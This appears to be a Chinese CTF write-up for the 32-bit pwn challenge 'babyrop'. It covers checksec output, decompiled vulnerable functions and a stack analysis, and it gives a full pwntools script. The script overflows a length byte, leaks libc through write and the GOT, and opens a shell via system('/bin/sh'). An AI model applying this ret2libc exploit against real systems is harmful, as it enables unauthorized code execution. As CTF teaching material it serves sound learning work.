测试一道pwn题_多漏洞组合-堆栈格式化

checksec机制和file信息

    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

./babyrop: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter 
/lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=6503b3ef34c8d55c8d3e861fb4de2110d0f9f8e2, stripped

运行

直接让输入字符串~

IDA分析

ssize_t __cdecl sub_80487D0(char a1)
{
  ssize_t result; // eax
  char buf; // [esp+11h] [ebp-E7h] 231

  if ( a1 == 127 )
    result = read(0, &buf, 0xC8u);              // 200
  else
    result = read(0, &buf, a1);                 // a1  可以控制  
  return result;
}

这个漏洞点,我可以看了好久,自己也没遇见过,下次长记性了,这是利用返回数字去扩大了栈的输入字节数。

int __cdecl main()
{
  int buf; // [esp+4h] [ebp-14h]
  char v2; // [esp+Bh] [ebp-Dh]
  int fd; // [esp+Ch] [ebp-Ch]

  sub_80486BB();
  fd = open("/dev/urandom", 0);
  if ( fd > 0 )
    read(fd, &buf, 4u);
  v2 = sub_804871F(buf);
  sub_80487D0(v2);
  return 0;
}
int __cdecl sub_804871F(int a1)
{
  size_t v1; // eax
  char s; // [esp+Ch] [ebp-4Ch]
  char buf[7]; // [esp+2Ch] [ebp-2Ch] 44
  unsigned __int8 v5; // [esp+33h] [ebp-25h]
  ssize_t v6; // [esp+4Ch] [ebp-Ch]

  memset(&s, 0, 0x20u);
  memset(buf, 0, 0x20u);
  sprintf(&s, "%ld", a1);
  v6 = read(0, buf, 0x20u);                     // 32
  buf[v6 - 1] = 0;
  v1 = strlen(buf);
  if ( strncmp(buf, &s, v1) )
    exit(0);
  write(1, "Correct\n", 8u);
  return v5;   #这里的v5就是a1  这里return后 将返回值赋值给了下一个函数
}

现在需要确定的就是我们是否可以将v5覆盖成一个比较大的数字

-0000002D                 db ? ; undefined
-0000002C buf             db ?				|   #数据是从上面往下面传入的
-0000002B                 db ? ; undefined		|
-0000002A                 db ? ; undefined		|
-00000029                 db ? ; undefined		|
-00000028                 db ? ; undefined	<-------
-00000027                 db ? ; undefined
-00000026                 db ? ; undefined
-00000025 var_25          db ? 				 #v5
-00000024                 db ? ; undefined
-00000023                 db ? ; undefined
-00000022                 db ? ; undefined
-00000021                 db ? ; undefined
-00000020                 db ? ; undefined
-0000001F                 db ? ; undefined

简单分析

  1. 注意点:在IDA查看到内存数据 dd db dw 利用D可以转换类型 不同数据类型之间的字节数不同,会造成填充数据的时候size确定问题。
  2. 0x2c-0x25 = 0x7 ,填充0x7个数据然后填充"\xff" 扩大数据size,这里我们使用onegadget,所以不需要将padding的大小设置的太大。
  3. 这里还需要知道的就是libc_base 因为开启了Full RELRO 利用got表复写术,write就是很好的一个泄露函数,“alarm”也称闹钟函数。
  4. 这里先补充一点数据在got表复写数据存放的先后顺序
往栈里面压入的顺序 如下
size #大小
buf #buf的位置
1 #文件描述符
@PLT

EXP

脚本中有onegadget 也有systen("/bin/sh"),分开去看

#!/usr/bin/env python
#coding=utf8 
from pwn import* 
context.log_level = 'debug' 
context.terminal =['gnome-terminal','-x','bash','-c'] 
p = process("./babyrop.babyrop")
libc = ELF("libc.so.6")  
libc = ELF("libc-2.23.so")
elf = ELF("./babyrop.babyrop")

libc_base = 0xf7e05000
one_gadget_offset = 0x3a80e

gadget_addr = libc_base + one_gadget_offset
print("[+]---->gadget_addr = ") + hex(gadget_addr)
#gdb.attach(p,"b* "+ "0x804871F")
payload = "\x00"*7 + "\xff"  #
p.sendline(payload)

payload1 = "A"*0Xe7 + "B"*4 + p32(elf.plt['write'])+p32(0x80487D0)+p32(1)+p32(elf.got['alarm'])+p32(4)
p.recvline("Correct\n") 
#gdb.attach(p)
p.sendline(payload1)

write_addr = u32(p.recv(4))
libc_base = write_addr - libc.symbols['alarm']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search('/bin/sh').next()

print ("[+]---->write_addr = ") +hex(write_addr)
print ("[+]---->libc_base = ") +hex(libc_base)
print ("[+]---->system_addr = ") +hex(system_addr)
print ("[+]---->bin_sh_addr = ") +hex(bin_sh_addr)
print ("[+]---->write_plt = ") +hex(elf.plt['write'])
print ("[+]---->write_got = ") +hex(elf.got['write'])
#p.recv()
#gdb.attach(p)
payload2 = "A"*0Xe7 + "B"*4 + p32(system_addr)+p32(0)+p32(bin_sh_addr)
p.sendline(payload2)
p.interactive()

你可能感兴趣的:(赛事复现)